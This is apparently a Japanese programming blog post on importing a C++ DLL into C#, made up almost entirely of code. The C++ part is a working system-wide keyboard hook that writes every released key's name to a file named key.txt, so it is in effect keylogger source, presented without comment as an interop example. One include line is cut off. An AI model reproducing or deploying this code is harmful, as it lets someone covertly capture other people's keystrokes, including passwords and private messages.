c#c++dllのインポート
1725 ワード
c#:
//
[DllImport("KeyHook.dll", EntryPoint = "InstallHook", CharSet = CharSet.Auto, CallingConvention = CallingConvention.Cdecl)] //
public static extern void InstallHook(int nCode);
[DllImport("KeyHook.dll")] //
public static extern void EndHook();
c++は以下の通りである.
#include "stdafx.h"
#include
#define DllExport extern "C" __declspec(dllexport) //extern "C" C#
#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:hookdata,RWS") //
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lPram);
DllExport void InstallHook(int nCode);
DllExport void EndHook();
HMODULE ModuleFromAddress(PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
return ::VirtualQuery(pv, &mbi, sizeof(mbi)) != NULL ? (HMODULE)mbi.AllocationBase : NULL;
}
void InstallHook(int nCode)
{
HINSTANCE hInst;
hInst = ModuleFromAddress(KeyBoardProc);
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char szKeyName[80];
FILE *fp;
if(lParam&0x80000000)
{
fp = fopen("key.txt","a");
::GetKeyNameTextA(lParam,szKeyName,80);
if(strlen(szKeyName)>1)
fprintf(fp,"[%s]",szKeyName);
else
fprintf(fp,"%s",szKeyName);
fclose(fp);
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}